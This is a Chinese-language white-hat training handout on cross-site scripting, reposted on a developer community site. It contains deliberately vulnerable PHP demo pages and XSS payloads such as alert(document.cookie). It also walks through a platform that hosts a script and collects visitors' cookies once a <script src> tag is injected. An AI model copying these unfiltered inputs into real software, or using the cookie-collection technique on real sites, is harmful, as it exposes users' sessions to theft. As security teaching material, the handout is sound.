前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >米斯特白帽培训讲义 漏洞篇 XSS

米斯特白帽培训讲义 漏洞篇 XSS

作者头像
ApacheCN_飞龙
发布2019-02-15 10:26:38
5760
发布2019-02-15 10:26:38
举报
文章被收录于专栏:信数据得永生信数据得永生

米斯特白帽培训讲义 漏洞篇 XSS

讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0

分类

总共有三种

  • 反射型:经过后端,不经过数据库
  • 存储型:经过后端,经过数据库
  • DOM:不经过后端

原理:反射型

将这段代码保存为xss.php

代码语言:javascript
复制
\\XSS反射演示
<form action="" method="get">
    <input type="text" name="xss"/>
    <input type="submit" value="test"/>
</form>
<?php
$xss = @$_GET['xss'];
if($xss!==null){
    echo $xss;
}

我们看到,这段代码中首先包含一个表单,用于向页面自己发送 GET 请求,带一个名为xss的参数。 然后 PHP 会读取该参数,如果不为空,则直接打印出来,我们看到这里不存在任何过滤。也就是说,如果xss中存在 HTML 结构性的内容,打印之后会直接解释为 HTML 元素。

我们部署好这个文件,访问http://localhost/xss.php,如图:

我们直接输入一个 HTML 代码,比如<script>alert(1)</script>,之后点击test

我们可以看到弹窗,也就是我们输入的 HTML 代码被执行了。

之后我们查看元素,这表明,我们输出的内容直接插入到了页面中,解释为<script>标签。

我们可以自定义弹窗中的内容来利用 XSS,比如改成alert(document.cookie)

从上面的例子中,我们可以看出,反射型 XSS 的数据流向是:浏览器 -> 后端 -> 浏览器。

原理:存储型

这里我们把xss.php内容改为(同时数据库中需要配置相应的表):

代码语言:javascript
复制
\\存储XSS演示
<form action="" method="post">
    <input type="text" name="xss"/>
    <input type="submit" value="test"/>
</form>
<?php
$xss=@$_POST['xss'];
mysql_connect("localhost","root","root");
mysql_select_db("xss");
if($xss!==null){
    $sql="insert into test(id,payload) values('1',$xss)";
    $result=mysql_query($sql);
    echo $result;
}

可以看到,用户输入的内容还是没有过滤,但是不直接显示在页面中,而是插入到了数据库。

我们新建res.php,内容为:

代码语言:javascript
复制
mysql_connect("localhost","root","root");
mysql_select_db("xss");
$sql="select payload from test where id=1";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
   echo $row['payload'];
}

该代码从数据库读取了之前插入的内容,并将其显示出来。

我们部署之后首先查看test数据库,确认它是空的:

然后访问xss.php,像之前一样输入 HTML 代码并点击test,如下:

点击之后却发现没有任何动静,但事实上,我们的数据已经插入到了数据库中。

那么,当我们访问res.php查询这个值的时候,代码就会被执行。

所以说,存储型 XSS 的执行位置通常不同于输入位置。我们可以看出,存储行 XSS 的数据流向是:浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器。

利用

我们可能需要通过 XSS 来获得用户 Cookie 或其他有用信息,利用平台负责接收并保存这些信息。另外,利用平台能够托管利用脚本,于是我们可以向页面只注入一个脚本链接,使长度极大缩短。

米斯特安全团队为大家准备了一个 XSS 利用平台,位于xss.hi-ourlife.com。这个平台用的是 xsser.me,我们也能够自己下载和搭建。

首先访问主页,你会看到一个登录页面,输入用户名和密码之后点击“登录”:

成功之后会显示主界面,左边是模块列表,右边是项目列表:

我们点击左边“我的项目”旁边的“创建”按钮:

名称和描述可以随便取,不影响使用。输入时候点击“下一步”按钮。之后会出现“配置代码”界面:

我们只选择默认模块,把它展开之后,我们可以看到它的作用是向平台发送一个请求,来收集用户的各种信息。之后点击“下一步”。

然后我们会在首页看到我们的新项目,点击这个项目:

之后点击右上方的查看代码,就可以看到使用方法:

简单来说,MyzcXv?1467719328就是平台所生成的脚本地址,你可以把它放在script或者img标签的src属性中,在把标签插入存在 XSS 漏洞的地方,然后浏览器就会执行。

下面我们点击之前创建的aaa项目。

我们把<script src="..."></script>注入到反射型 XSS 的演示页面中。

提交之后页面没什么动静,但是我们查看利用平台,可以发现新增了一条数据:

附录:

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2016年12月20日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 米斯特白帽培训讲义 漏洞篇 XSS
    • 分类
      • 原理:反射型
        • 原理:存储型
          • 利用
            • 附录:
            相关产品与服务
            数据库
            云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档